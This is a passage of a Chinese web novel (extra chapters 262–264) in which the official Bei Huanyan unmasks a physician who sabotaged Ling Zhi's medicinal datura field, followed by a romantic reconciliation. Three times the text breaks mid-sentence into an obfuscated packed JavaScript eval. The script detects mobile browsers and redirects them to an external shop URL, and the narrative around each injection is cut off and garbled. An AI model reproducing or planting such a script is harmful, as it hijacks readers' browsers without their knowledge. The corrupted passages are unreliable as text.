紫草连忙道:“我是在他们晕倒之后去的……” 凌信忍不了了,哈哈大笑。 北寰言蹙眉,瞪了凌信一眼,让他闭嘴。 凌信笑了两声,靠近北寰言低声道:“这的人看起来不太聪明的样子。” 北寰言深以为然,他们跟着盛泉干事,盛泉谋局的本事,他们一点没学到。 凌芷蹙着小眉毛,与紫草争锋相对:“若是依你所言,你是在他们晕倒之后去的。那你看见了药田被毁,回来了为何不报?!” 紫草张了张嘴,到底是没再找到任何辩词。 北寰言双手拢在衣袖里,一言不发,看着凌芷自己应对这件事。 紫草虽然慌乱,到底还是找到了说辞:“凌姑娘只凭这点证据,也没办法证明自己清白!我脚上有气味,你脚上也有。他们在我的房间里搜出了曼陀罗,也在你的房间里搜到了曼陀罗!怎么这事到我身上,我有嫌疑。到你身上了,你就没嫌疑了?!” 凌芷眨了眨眼睛:“我没有做这件事的动机。我原本就是奉旨来种药的,如果药培育起来,我给毁了,就是欺君之罪。不仅我,连同我的家人,都会被降罪。我没有理由这么做。” 紫草激动大喊:“那我就有动机了?!” “你有。”凌芷望着紫草,“你喜欢齐医官对吧。” 北寰言眼眸微眯,眼底带着惊诧。 紫草亦是眼眸微睁。 凌芷继续道:“我刚来岩州城的时候,紫医女其实给我精心准备了房间。可我来了以后,你看见齐医官对我殷勤的态度,心生不满,这才让我自己选房间。 “但我刚好选了一间最差的,让齐医官看见了,他去找你说这件事,你立即又给了我一间收拾好的屋子的钥匙。 “后来我去药房想要跟你和好,帮你抓药,你却出于对抓药这件事的谨慎与对病人负责的态度,没让我帮忙。 “在我眼里,你一直是一个面冷心善的好医者。 “说实话,我一开始没想明白为什么你对我的态度时好时坏。但这些日子我仔细观察了你的一举一动,每次只要齐医官来找我说话,事后你再见我,总是对我冷淡至极。 “由此,我得出一个结论,你喜欢齐医官,这些时日他一直在我身边跟我讨论如何种草药,让你嫉妒。所以你才在这件事上犯了糊涂,想要毁掉我们一起辛辛苦苦培育出来的药田。” 凌芷说完,下意识地看向北寰言,向他求证。 北寰言轻轻笑着点头,嘴角梨涡格外显眼。 在看见北寰言嘴角梨涡的时候,凌芷觉得自己心跳漏了一下,而后猛然加速。 “你胡说!”紫草不承认她喜欢齐文轩,“这只是你的推测,你没证据!你是为了拜托罪责,强行想了这个说辞,把这件事嫁祸给我!我是被冤枉的,我是被冤枉的!” 紫草转向镇东:“镇将军,镇将军,你要给我做主。我在岩州城医馆学医五年,从未做过对病患有害的事。” 镇东一脸冷漠地睨着她。 紫草继续道:“如果在你们眼里,我是嫌疑人,那凌芷也是!她说的那些动机根本就是荒谬之言!” 确实,凌芷说的都是推测。 即便是在紫草鞋子上有雌蜈蚣的味道,即便是在她屋里搜出了曼陀罗,也不能证明这件事就是她干的。 因为凌芷的身上也有雌蜈蚣的味道,她的屋里也有曼陀罗。 凌芷薄唇紧抿,她能做的就是这些了。 她虽然把事情讲清楚了,可她没办法把自己也从这件事摘干净。 “紫草,”北寰言忽然开口,“你难道就没想过,为什么你的屋里会凭空出现曼陀罗这味药材吗?” 这话看似是一句废话,却问在了紫草的心门上。 她身体一僵,脸色难看得要命。 北寰言道:“假设毁药田的事就是你做的,我想你也应该不会蠢到把下毒的药带回去,放在屋里等我们去搜吧? “眼前这种情况,不是应该把下毒的药丢了,才是正解吗? “凌芷也去了药田,凌芷也有曼陀罗。而毁药田,用曼陀罗下毒这两个必备条件,只要少一个,你都可以被排除在嫌疑人之外,可偏偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575411|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么,我着人去搜你们的屋子,搜出来了这个多余的曼陀罗了呢?” 紫草眼眸低垂,一言不发。 北寰言望着她一字一顿道:“但看你方才看见这药盒时惊讶的表情,其实这事还有一种解释就是——你也是被人怂恿陷害的。” 紫草咬紧唇瓣。 北寰言道:“你若是能供出那人,在口供上画押,也可以将功赎罪。” 紫草蹙眉,跪在地上一动不动。 北寰言见她不动,知道她心存侥幸,便字字诛心道:“你原本可以在岩州城医馆安稳的过一辈子,现在却因为他做了糊涂事。他把这曼陀罗藏入你的房间,就是想要最后东窗事发的时候,要你来替他背这个黑锅,要你替他去死。” 紫草眼眸微红,看向北寰言。 北寰言淡淡道:“话都说到这个份上了,你还不肯供出背后指使的人是谁。凌芷说你喜欢他,这事想来也没错。” 紫草把目光投向齐文轩,满眼都是怨恨。 齐文轩神色淡然一副我不知情的样子。 紫草没想过齐文轩会用完就把她抛弃,当即怒问道:“他说的是不是真的?!你根本就是在利用我,想要我成为你的替死鬼!” 齐文轩静静地望着紫草:“你不要血口喷人。” “你!”紫草怒不可遏。 齐文轩眼眸冰冷。 北寰言也没指望紫草能拿出什么关键性的证据,见紫草没话应对,便看向齐文轩。 “齐医官,”北寰言微微侧目看向齐文轩,“这事你该给紫医女个说法。” 齐文轩不露怯,淡然回道:“言少卿在说什么,我听不懂。” 北寰言哂笑一声:“好,既然这事你听不懂,那我们就来聊点,你听得懂的。” 北寰言缓步上前,走到齐文轩身边,盯着他的眼睛,一字一句道:“你若是把盛泉托付给你的永延太子旧部的名单交出来,戴罪立功,我可以做主,减轻对你的惩罚。如何?” 齐文轩眼眸微睁,一言不发。 “你一进来的时候,我就说过这事是栽赃陷害。是你栽赃陷害紫医女,还想顺手毁了凌芷的药田。”北寰言眸光变得犀利,“曼陀罗成熟的半年时间里,你明明有机会把毁田这事做得更隐蔽。我要是你,我就想办法让这些曼陀罗全部都慢性死亡,证明这片土地不适合曼陀罗的生长。只要凌芷没有种活曼陀罗,御医院就不会一直把时间耗在这里,你也不会如此殚精竭虑地想如何怂恿紫医女在药田上做手脚。” 齐文轩蹙起眉头,死死地盯着北寰言。 北寰言不管齐文轩的目光,忽然转身,走到紫草面前,问她:“你知道为什么,齐医官一定要利用你毁掉药田吗?” 紫草愣愣道:“齐医官说,我若是看凌芷不顺眼,把药田毁了,赶走她便是……” 站在一旁的凌信噗嗤笑出了声,问她:“这理由你自己信吗?” 紫草一时间也不知道该作何反应。 北寰言看向齐文轩:“齐医官难道一点都没有怀疑过,东陵这么大土地,凌芷即便是要在陵中找一个地方栽培曼陀罗,为何偏偏选中了岩州城?” 齐文轩深吸一口气,眸光变了又变。蜷缩在衣袖里的手,缓缓锁紧。 “对,”北寰言站直了身子,“凌芷就是为你而来。” 262. 番外八 就在此时,流风撩帐进来把一沓纸递给了北寰言:“主子,全都在这了。” 北寰言接过来,朗声念道:“岩州城保康县东坡村东岭良田十亩。” 北寰言扯起纸丢给齐文轩,那宣纸宛若冬日濒死盘飞的蝴蝶一般,在空中打旋。 “岩州城谷道县刘桥村西岭良田七亩……” “岩州城后营县绿洼村西岭良田九亩……” “岩州城大岭县桐子村东岭良田十一亩……” 北寰言念一张地契,就丢一张地契给齐文轩,只是五息的功夫,军帐里漫天都是飞舞的地契拓本。 齐文轩看着这些在空中飞舞的地契,瞳孔微缩。 宣纸落地之时,他看见藏在后面的那双宛如利剑一般的眼睛。 “这些地契都在你名下。”北寰言缓缓道,“你还有什么话说?” 北寰言名声在外,齐文轩早就听说。 他从接到圣旨,让他陪凌芷种曼陀罗的那一刻他就知道自己已经穷途陌路了。 可他不信邪,总觉得自己还有拼一拼的资本。 但现在看来,那都是他的妄想。 “你到底是从哪一步开始怀疑我的。”齐文轩注视着北寰言。 “盛泉假死刺杀案中,那个上吊自杀的内官家里有一张一千两的银票”北寰言望着他,“这对于在内廷工作的盛泉来说太多了。他必须有一个赚大钱的渠道,才能驱动永延太子旧部为他做事。” “只是一张银票,你就能想到我的存在?”齐文轩不信。 “当然不仅仅是靠一张银票。”北寰言从衣袖里掏出一本册子,丢给齐文轩。 那是一本纯黑的册子。 齐文轩接住,打开翻开。 他从头到尾翻看了一圈,嗤笑:“原来如此。这事真是我疏忽了。” 北寰言道:“盛泉为了控制时寻,对他下了毒。时寻续命的药里,最重要的一颗草药就是曼陀罗。 “盛泉为了嫁祸神医谷,让你与刘谦把救命的曼陀罗从黑市走货,卖给时寻。 “刘谦的曼陀罗是从浅州黑市送过去的,而你的曼陀罗是从岩州城送过去的。所以黑市卖给时寻的曼陀罗的账册上才会出现两个地名。一个是浅州,一个是岩州城。 “恰好,那刺杀案中上吊自杀的内官的银票出自于岩州城。无论怎么看,岩州城这个地方都很可疑。” “所以你就让凌芷把种植曼陀罗的地方选在岩州城?”齐文轩从没想过,从凌芷来到陵中推广曼陀罗的种法之初,他就入了北寰言布的局。 他还以为他能在盛泉伏法之后苟活,不曾想北寰言根本就没给他苟活的机会。 “可仅凭这两点,你怎么可能查到我身上?”齐文轩道,“我名下那些田地,根本就不在一个县。我平日里在医馆的花销也从未越过身份!” 北寰言道:“单凭这两点,我的确没办法确定是你。所以我人为地缩小了勘察范围。我把凌芷种的地圈定在了陵中储备军的军屯。 “这里面有重兵把守,一般人进不来。一般人也很难在重兵守护的情况下对药田做些什么。 “我原本想的是,等到曼陀罗成熟之际,若是药田还没发生什么事,我就把陵中储备军营里种出曼陀罗的消息散播出去。看看会不会有人耐不住性子做些动作出来让我查下去。 “不曾想你这么无能,想不到如何让曼陀罗慢慢枯死的办法。只能用这种简单暴力的手段,借用自己的皮囊,引诱医馆医女为你做事。” 北寰言说到这,看了凌信一眼:“凌信因为不放心凌芷,只要在岩州城,几乎每天半夜都来药田看凌芷。” 凌芷听北寰言这么说,立即抬头去看凌信。 凌信当即避开凌芷的目光,头侧到一边去,一副漫不经心的样子。 卫昭看着俩小孩只觉得好笑。 北寰言继续道:“昨夜,他来没看见凌芷,却看见有人来毁田。他跟着紫医女回了医馆,确定了毁田这事是医馆的人做的以后回来跟我说了。 “我终于等到这个在岩州城会种曼陀罗,支援盛泉的人耐不住性子,有了动作。 “我立即派我亲卫拿着陛下赐的金玉令去了岩州城府衙,调取了所有岩州城医馆里医官名下的地契。 “发现只有你名下地契比一般医官多得多。” 北寰言的目光落在地上那些地契上:“我看过凌芷手记上写的有关种植曼陀罗的一些必要条件。我根据她写的那些必要条件,筛选出适合种植曼陀罗的土地。顺藤摸瓜,找到了这些在你名下,种着快要成熟曼陀罗的地契。” 齐文轩嗤笑一声:“你就这么笃定我不会把这些种着曼陀罗的地契挂在别人名下?” 北寰言道:“你当然不会。这草药千金难买,你就算是雇用佃仆来帮你种,你也不敢一直用同一批人来帮你这种地。 “你身怀巨大财富,没有信任的人。你怕外人知道你的秘密,你性命难保。 “盛泉的父亲盛明州早些年时任岩州城知府,在他地界上的东西,他比谁都清楚。 “你放不下这些草药给你带来的巨大财富,所以一直受盛泉的威胁,这些年一直替他办事,帮他拿钱活络人脉。 “现在盛泉被陛下囚禁在许都。你被盛泉敲诈勒索十多年,好不容易喘一口气,拿着曼陀罗种植方法,手握巨大财富还没有开始挥霍,怎么肯就这样看着凌芷把曼陀罗种出来,把自己到手的巨大财富让出去? “你当然希望东陵永远没人种出曼陀罗,这样你就可以一直靠着这个金矿草药富贵一生。 “这些地契上种的全是曼陀罗。这草药平民根本用不起,你种这草药全选在人口稀少的村子。没人认识你种的草药是曼陀罗。他们不认识,我们却认识。 “只要我拿着朝廷的令牌,去严查岩州城的钱庄,一定能查出来你这些年存进取出的流水。这面总有几笔账能找出你跟盛泉的关系。” 北寰言望着齐文轩:“你根本无路可走。” 齐文轩冷笑:“凌芷奉旨种药,眼看着要曼陀罗要培育成功了,药田却没了。毁田的事,你根本就没有证据。就算你查出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要出来自己游医,培育的曼陀罗的是她。 被人陷害,最后要言哥哥救的还是她。 明明最开始来岩州城的时候,她就知道言哥哥不是无缘无故提起这里,引导她来这里的。 明明她平日里做事倍加小心。 可到底还是被人算计,要言哥哥跟着她,一直在背地里为她筹谋。 不该是这样。 这一切都跟她想的不一样。 凌芷本能地后撤一步,脱离了北寰言手掌范围,低着头,一声不吭。 凌信在一边看得生气,当即就要骂她:“你怎么回事……” 北寰言抬手制止。 凌芷转身就拉住卫昭,死命地把他往营帐外扯。 卫昭不明所以,回头看北寰言,指了指外面。北寰言轻轻点头,示意他去。 卫昭一脸歉意地跟着凌芷出了营帐。 263. 番外九 “不是!她是不是在这种地种了半年,把脑子给种坏了?”凌信看见凌芷这么不知好歹,瞬间火冒三丈,“你从西境千里狂奔回来,就为了她,她她她她她……” 凌信气得不知道要怎么说。 北寰言望着隐隐晃动的帐帘,垂下眼眸:“别说了,我们去审齐文轩,先办正事要紧。” * “卫叔叔,”凌芷低着头小声地问,“你是不是会搭简易的帐篷啊?你帮我在药田边上搭一个吧,我晚上就住在药田边上,守着药材成熟。” 卫昭一听连忙道:“凌姑娘,你大可不必这样。毁药田的人言少卿已经抓住了,有了上次的事,镇小将军肯定会派人严加看守,绝不会让毁田这件事再次发生……再加上陵入秋,夜深寒凉,姑娘住在外面难保不会着了风寒……” 凌芷止住脚步,回身抬头望向卫昭,眼睛里泪光莹莹,带着些许鼻音道:“卫叔叔,帮我搭一个小帐篷吧。” 卫昭看着跟小猫一样无助的凌芷,也不好再说什么,只道:“那你回去等我一下,我去找镇小将军要些搭帐篷的东西。” “谢谢卫叔叔。”凌芷转过身,吸了一下鼻子。 “凌姑娘,”卫昭说话有些迟疑,“我怎么感觉姑娘有些躲着言少卿。公子他身子还未全好,为了姑娘,不远万里从西境赶了回来……” 凌芷一动不动的低着头。 难怪方才把脉的时候,感觉言哥哥有气虚之症。 但看脉象,哥哥应该已经开始下药调理了。 她到底还是让他费心了。只要她一直长不大,不能独当一面,言哥哥就会一直这样不辞辛劳替她操心。 她不要他这样。 她在他身边,本该是她照顾他的身子才对。 他抱着她从那么高的台子上摔下来,断了三根肋骨还断了手……只是运气好,让哥哥救回来了。 但实际上,她欠他一条命。 “卫叔叔,我不是躲言哥哥。”凌芷小声回道,“我是心有愧疚,没办法原谅我自己。以前学医的时候有家里人惯着,三天打鱼两天晒网,没有人说我。若是没有哥哥的医术,言哥哥那条命就折在那了。我这段时间每天晚上都在不断地回想那天的事,若是我再聪明些,若是我再警觉点,若是我不是这样学医的态度,或许我就不会被盛泉劫持,或许言哥哥身子会好得快些……” “卫叔叔,”凌芷扣着手指,“言哥哥很好。很好很好的那种好。而我只是一个什么都不懂,什么都没学好的小丫头片子。我不能原谅这样的我,我也不允许这样的我在言哥哥身边照看他的身子,所以我想出来游医精进医术。” “卫叔叔,”凌芷回头,眼神坚定,“我一定会好好磨练自己医术的。言哥哥他说过,他等我,无论多久。五年。我只要五年的时间。我一定会成为一个配得上他的人。不再让他替我犯险了。” 卫昭没有成婚,他不懂年轻人这些情情爱爱的想法。 但喜欢北寰言,让凌芷想变得优秀这件事,卫昭却是看在眼里。 入夜前,凌芷就抱着被褥去了药田。 以前她小,不懂为什么师父放着宽敞的屋子不住,非要在神医谷后山搭一个草屋,住在里面。 现在凌芷明白了。 师父是怕后山有什么动物半夜出来糟蹋他辛辛苦苦种出来的药,也怕他养在后山的那些用来试毒的小动物被其他什么毒物祸害了。 学毒医的医师,干什么都要事事亲力亲为。 师父从未教过她这件事,但这些年一直在她身边做给她看。 陵中已经入秋,卫昭怕凌芷住在帐篷里夜深寒凉,便找了些木板垫在下面,又另外拿了一条厚厚的被褥交给凌芷。 帮凌芷收拾好帐篷,卫昭就在药田旁值守将士们休息的营地远远地看着凌芷。 凌芷的帐篷里烛光一直亮到了三更天。 * 第二日凌芷起了个大早,医馆还没开门,她就跑到制药房开始做药。 卫昭在一边跟着,看她去药柜抓了好多药,放在药碾里研磨。 忙了一天,才做出一盒药膏。 她收拾好药膏,才来找卫昭:“卫叔叔,你知道镇怀在哪里养伤吗?” 卫昭昨天在营地值夜的时候跟守夜的士兵聊过这事。 他道:“镇小将军在岩州城里养伤。” “岩州城?”凌芷想了一会儿道,“他回家了?” 卫昭点头。 凌芷又道:“那我去找东叔,我要跟他说我明天去府上看看镇怀的伤。” 说罢凌芷就背上小包,往军营里走。 卫昭跟出来道:“我骑马带姑娘过去吧?我们就这样走过去怕是赶不及回来吃晚饭了。” 凌芷点头,卫昭去牵马。 镇东跟北寰言一起审齐文轩。 齐文轩不似盛泉抱着必死的决心,他名下有许多土地房产,银号里有巨额财富。他原本就是一个贪图享乐的人,现在北寰言承诺只要他拿出盛泉让他帮忙活络的名单,就可以保他一条性命。 “只是保我一条性命?”齐文轩坐在牢椅上,愣愣地望着北寰言。 北寰言低声道:“不然你想如何?” 齐文轩不死心又问:“我名下其他东西你要如何处理?” 北寰言道:“查抄充公。” “你!”齐文轩厉声呵斥,“不要欺人太甚!没有家产,我活着有何意义!” 北寰言望着他:“岩州城试种曼陀罗虽然成功,可全国推广下去还需要几年的时间准备。你只要活着,在曼陀罗还没推广下去的这几年,你一样可以再把钱赚回来。你有医术,开个医馆或者药铺,也能让自己过得衣食无忧。” 齐文轩不言。 北寰言道:“只要你交代清楚,风声不漏,我们把那些该拿的人拿到了,你戴罪立功,陛下高兴,说不定还会赏你些什么。你应该听说了,哪怕盛泉做了这么大逆不道的事,陛下也是两句轻描淡写就把他放了。当今陛下是明君,你跟盛泉合作,也不过是身不由己。陛下知道来龙去脉,必不会重罚。” 齐文轩还是闭嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593983|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不言,拒不交代那些名单。 北寰言盯着他,神色淡然:“你难道就没想过,为什么盛泉到最后都没把你供出来,而是我来查你,把你找出来的吗?” 齐文轩蹙眉。 “你这么聪明,匹夫无罪怀璧其罪这个道理还需要我教你?”北寰言道,“盛泉到底没死。陛下虽然放了他,难保他以后不会继续作妖。你原本就是岩州城医馆的医师,你培育曼陀罗的那些方法,是岩州城几代医官的培育成果。到你这里培育成功了,你却把它占为己有,这本就是欺君之罪。你现在手里的资产来历都是名不正言不顺。我若是不收你现在的资产,他日我不主大理寺少卿一职,别人知道了你这资产的来历,拿欺君之罪来威胁你,你又该如何自保?” 齐文轩没想过这么多,他只觉得自己名下这些资产也是自己这些年,辛辛苦苦积攒下来的。更深层次的原因,他没想这么多。 北寰言道:“这案子里查抄你资产,是为了让你日后能够利用种植曼陀罗这件事,还有你的医术名正言顺地活下去。” 镇东侧目,望着北寰言。 这少年越大,长得越像他的母亲。 这是阳谋。 北寰言把自己的心思摆在明面上跟齐文轩谈,要他自己选。 若是他拒不交代永承太子旧部的名单,他就会死。 可即便是他交代出永承太子旧部的名单,他也会家财散尽。 但有一条命留着,总有希望。 北寰言没有把齐文轩的路堵死,这是兵法上兵伐谋,攻心为上的策略。 只要齐文轩脑子没问题,摆在他面前的只有一条路。 他到底是谋不过北寰言。 * 卫昭带着凌芷到军营找镇东。 镇东的副将说镇东正在和言少卿一起审齐文轩。 卫昭看向凌芷:“还要去吗?” 凌芷鼓着嘴,小声说:“去。怀哥哥遭受无妄之灾也是因为我的缘故……这药无论如何我都要送到他手上去。” 神医谷的规矩,谁开的药方,谁就要事无巨细亲力亲为。 卫昭点头,看向副将说:“带路罢。” 副将抱拳,请卫昭跟凌芷跟着他。 刚到军牢外,就看见镇东带着北寰言与凌信从牢里出来。 副将把人带到镇东面前,抱拳一礼,便退了下去。 凌芷不看北寰言与凌信,直直走向镇东:“东叔,我想去府上看看镇怀哥哥的伤。” 镇东笑道:“正巧我约言少卿与你哥哥一起过府小叙,凌姑娘也来罢。” 凌芷看了一眼凌信,只见凌信一脸看戏的表情,当即道:“我、我就是去送药的,送完我就回来了。” “一起去罢。”北寰言开口,“西境还有事,我在这里留不了很久。” 凌芷立即看北寰言,脱口而出:“这么快又要走了?” 北寰言望着她,轻轻地点头。 凌信在一边阴阳怪气:“你不是懒得见我们吗?怎么还在乎我们什么时候走?” 264. 番外十 北寰言瞪了凌信一眼:“你少说两句。” 凌信啧了一声,抱着手,站在一边,不再说话。 凌芷低着头,拉着自己的小包,心里好像有什么东西一直拧在一起。 镇东见气氛诡异,连忙道:“走罢走罢,马车都在外面等着了。凌姑娘也去,都去。” 不等凌芷拒绝,镇东就让副将去把马车带来。 说是马车,其实坐进车里的只有凌芷与北寰言。 凌信镇东像跟约好了一般,都说要自己骑马。凌芷不会骑马,原本想跟着卫昭,可卫昭说他驱车,凌芷只能又坐了回去。 北寰言看着凌芷别扭地坐下,柔声问:“从什么时候开始,与我在一起是让你这么难熬的一件事了?” 马车外,凌信与镇东说着话,凌信的马哼哧了两声,马车吱呀作响,听不清他们说话的内容。 “不是的……” 凌芷在这嘈杂声中低着头,小声回答。 她不敢看北寰言。 因为她一抬头,就能看见他脖子上、压在衣襟下那道浅浅的伤。 一个如玉一般毫无瑕疵的人,身上因为她有了许多疤痕。 她心里总是过意不去。 “哥哥……”凌芷低声问,“没有给你祛疤的膏药吗?” “给了,”北寰言轻声道,“我没用。” “为什么?”凌芷抬头,看向北寰言。 北寰言道:“我想留着。” “为什么……”凌芷不解。 “没有为什么。”北寰言知道自己这么说有些敷衍,接着解释,“如果你一定要问为什么,那便是我身上与你有关的一切,我都想留着。好的,不好的。” 凌芷愣愣地望着北寰言。 北寰言眸光秋水泛滥。 他看着她傻样,笑出了声:“为什么这么看我?” 凌芷心里有什么东西狠狠灌了进去,然后又满满地溢了出来。 她从未想过,她的言哥哥会这样一本正经地跟她胡说八道。 什么叫不想用? 什么叫关于她的一切? 什么叫好的不好的,他都要留下? 他不在乎他脖子上的伤痕有碍观瞻……那是不是他身上的伤口,他也没好好用药去疤? 他为她受的伤,他全部都要留下痕迹…… 在无人知道的隐蔽的地方…… 只有他们俩知晓…… 那一瞬间,凌芷心里那溢出东西流便全身。下一刻,她不能自抑地扑了过去,紧紧地抱住了北寰言。 她的言哥哥,从来都是这样让她心动不已。 明明是谪仙一般不入世俗的人,为何说出来的话,让她想要把他从云端扯下。 北寰言愣了一下。 他没想到凌芷前一刻还对他冷淡至极,下一刻就不管不顾地扑到了他身上。 凌芷把脸埋在北寰言的胸口,轻轻地蹭着他炙热的胸膛。 这种感觉说不上来,但是让北寰言心悦不已。 他轻轻地把手覆在她的发顶,环住她的背,在她耳边低语:“怎么像是受了天大的委屈。” 这声音好听极了,宛若石入湖面,叮咚一声,缓缓沉入了她的心底。 石破镜水,凌芷再也不憋着了。 她趴在北寰言的怀里,闷声道:“我不是因为讨厌你才避开你的。” “我知道。” “我是没办法原谅自己害得你受那么重的伤。” “我知道……” “言哥哥,我已经在很努力很努力地学习医术了。我从许都走的时候,我就暗暗发誓了,我不仅要学会师父的毒医,师叔的毒草,还要把娘亲继承的神医谷正统医术也学会。” “嗯。” “我再也不贪玩了……”凌芷说着鼻子一酸,“言哥哥你等我五年好不好,我只要五年的时间。” “五年够吗?”北寰言低声问。 凌芷不应。 “十年也可以。”北寰言把脸贴在了凌芷的头发上,“只要你想学医,无论多久,我都等你。” 凌芷更用力地抱了北寰言。 “母亲与父亲问我要不要改回皇姓。”北寰言低头与她闲话,“你想要我恢复皇姓吗?” 凌芷抬起头,望着北寰言。 北寰言继续道:“我若改回许姓,那便是安王府世子的身份。此生都要被皇家之礼约束,不能随心所欲。我以后会继承父亲的爵位,为国尽忠。而我的妻,也会成为王妃……” “那……”凌芷蹙眉,“你是怎么想的?” “我想恢复许姓。”北寰言道,“因为我只有恢复许姓,才能继承皇家产业。我才有充足的银钱,让你天南地北的学医。” “没有别的原因了?”凌芷问。 “没有了。”北寰言望着她。 “那就恢复皇族身份罢。”凌芷毫不犹豫地回道,“若是你有了皇族身份,在许都很多人很多事都会因为你皇族的身份多些忌惮。你以后也不会因为身份问题在宫里吃亏了。” 北寰言有些错愕。 他一直以为凌芷是一个傻姑娘,但其实她什么都知道。 他告诉她这些,其实就像让她知道,他若是有了皇族的身份,以后她嫁给他,她也要被圈在许都,不得自由。 可凌芷回答得毫不犹豫,说明她根本不怕。 她望着他的眼神里有光,她相信只要有他,她一定能做自己喜欢做的事。 哪怕他把成为他的妻说成龙潭虎穴,她都不怕。 “好,”北寰言笑了,伸手拭去她眼角的泪,“我回去就跟陛下说。” “真的很快又要走了吗?”凌芷满眼都是不舍。 “嗯,”北寰言点头,“陛下要在西境建立风隼起降场,时寻已经去了,陛下原本是想派师兄去监工,可师兄与小舞的婚事在即脱不开身。再加上陛下刚与西境勤王府、姚将军府交心,我若是此时恢复皇族身份去西境监工起降场建设,是朝廷对西境的重视。这事我去最合适。” “要在西境待很久吗?”凌芷问。 “可能要看见第一家风隼在西境启航,我才能回许都复命。” “那是多久?” “快则一年,慢则两三年。” “其实……西域那边有很多毒虫呢,师父总跟我念叨。” “我派人去找了,给师父送回去。” “啊!”凌芷一骨碌从北寰言身上起来,“你去找什么?!你去把毒虫都找到了,那我怎么……” 北寰言望着她,一脸疑惑。 “那我怎么找借口去西境……”凌芷耳尖红得滴血,“找你……” 北寰言笑开了,伸手摸了摸凌芷的头,轻轻道:“好,我等你去找我。” “你是早就知道齐文轩有问题,才让卫昭叔叔留了个后手?”凌芷问。 “我看了藏息阁的消息,总觉得他这样的人三十多岁了一直独身,不太正常。”北寰言如实回答,“若说他对女子没兴趣,那就不该对你那么殷勤。” “确实……”凌芷点头,“我也感觉到了。” 凌芷不再是那个懵懂无知的孩童。 她已经及笄了。 很多有有关男女的事,她已经情犊初开,所以心里清明。 “那你是从什么时候知道我让你来陵中培育曼陀罗是有别的目的的呢?”北寰言问。 “大约也是刚进入医馆,发觉齐文轩这个人对我态度……” “言哥哥……” “嗯?” “言哥哥。” “嗯。” “言哥哥,言哥哥……” 北寰言任由凌芷轻轻地唤着他。 她已经把她半年的思念揉在一声声呼唤里,传达给他了。 * 只是小半个时辰,他们一行人就到了将军府。 北寰言从马车上下来,抱下凌芷。 凌信在一边看得奇怪。 怎么这丫头上马车前还是一副不情不愿的样子,下马车的时候,已经这么快跟北寰言黏在了一块。 凌信冷笑望着北寰言,眼神带刺。 北寰言像小时候一样,牵着凌芷的手,带着她上台阶。 “也不知道是谁曾经一本正经地跟我妹妹说男女大防的事。”凌信双手抱在胸前,冷言冷语。 他觉得北寰言这人不老实。长得一副淡然超脱不理尘世的样子,其实那都是他装的。 “哥哥,你是不是闲得没事干?”凌芷没好气地瞪了一眼凌信,“你若是力气多得使不完,明天跟我一起去药田里抓红头蜈蚣去。” “你!”凌信伸手就按住了凌芷的头,“就知道使唤我!你怎么不使唤你的言哥哥?” 凌芷推开凌信的手:“言哥哥多金贵的一个人,怎么能下地抓蜈蚣,被蜈蚣蛰到了怎么办?你皮糙肉厚的,就算被蜈蚣蛰了,也一会儿就好了。” “嘶!”凌信反手抓住凌芷的手,用她自己的手,揉她的头,“你怎么回事,你俩的事八字还没一撇,你就胳膊肘往外拐?洛姨跟安叔叔都还不知道这事呢,你就这么把自己当回事?” “父亲母亲很快就知道了。”北寰言淡淡开口。 凌信与凌芷一起抬头看向北寰言。 北寰言坦然说:“父亲来信问我要不要恢复皇姓,我回信的时候会把愿意恢复皇姓的原因写上。” “什么原因?” 凌信很意外北寰言愿意恢复皇姓,他恢复皇姓跟凌芷什么关系? “我……” “啊!言哥哥不要说!”凌芷连忙拉住北寰言,“有这么多人看着呢!” “凭什么不跟我说?!”凌信戳了戳凌芷的额头。 凌芷捂着额头,往北寰言身后躲:“要你管!” “嘿!”凌信指着凌芷,一副你自觉给我过来的凶恶模样。 凌芷才不管他,拉着北寰言就往将军府里跑。 镇东与卫昭相视一笑。 “卫将军里面请。” 镇东做了个请的姿势,卫昭跟着他进门:“你太客气了。” 镇东笑道:“是卫将军太谦虚了。早些年我跟着安王殿下攻南泽王城,有幸与卫将军走过几招,卫将军的追魂刀至今让我印象深刻。” 卫昭轻笑:“好汉不提当年勇,那都是过去的事了。当年安王殿下收我时给我承诺说他会保护南泽百姓不再饱受战火之苦。安王殿下是君子,而今东陵朝廷善待南泽百姓,我心甚慰。现在小主子让我跟着凌姑娘走遍东陵,看百姓安居乐业,我对东陵有容乃大的气度心悦诚服。我当年南泽从军心中也不过就是百姓过得安稳这点愿望,现在亲眼看见东陵盛世,心中再无遗憾。什么将军,不上战场,也就是个普通人罢了。” “卫将军真的不打算继续从军,守护黎民百姓了吗?”镇东问。 卫昭道:“我是南泽旧部,即便是安王殿下信任我,陛下也未必肯重用。算了吧。” 镇东摆手:“卫将军在许都那么久,还是不了解当今圣上。陛下明知道你是南泽旧部,依然给了你进大内的腰牌。以你武力,进了大内想要趁其不备杀到陛下面前,那不是轻而易举?若说陛下不信你,那你可真的冤枉陛下了。” 卫昭沉默。 